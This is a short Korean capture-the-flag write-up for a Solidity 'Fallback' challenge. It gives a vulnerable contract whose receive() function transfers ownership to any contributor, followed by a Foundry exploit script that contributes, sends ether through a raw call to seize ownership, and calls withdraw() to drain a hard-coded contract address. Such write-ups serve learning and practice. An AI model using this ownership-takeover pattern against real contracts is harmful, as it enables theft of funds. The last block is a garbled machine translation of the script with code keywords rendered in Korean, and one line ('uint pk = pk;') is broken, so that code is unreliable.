Prob
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
PoC
receive 함수가 호출될 때 msg.value와 contributions 이 0보다 크면 owner가 변경됩니다.
이후 withdraw 호출
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
interface IFallback{
function contribute() external payable;
function withdraw() external;
}
contract exploit is Script {
function run() public {
uint pk = pk;
vm.startBroadcast(pk);
IFallback target = IFallback(0x2712E9e4423408BAA485404d941DcebA00db70E0);
target.contribute{value: 0.1 gwei}();
address(target).call{value: 0.1 gwei}("");
target.withdraw();
vm.stopBroadcast();
}
}
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; "forge-std/Script.sol"에서 {스크립트, 콘솔}을 가져옵니다. 인터페이스 IFallback{ 함수 기여() 외부 지급; 함수 철회() 외부; } 계약 익스플로잇은 Script { function run() public { uint pk = pk; vm.startBroadcast(pk); IFallback 대상 = IFallback(0x2712E9e4423408BAA485404d941DcebA00db70E0); target.contribute{값: 0.1 gwei}(); 주소(대상).call{값: 0.1 gwei}(""); target.withdraw(); vm.stopBroadcast(); } }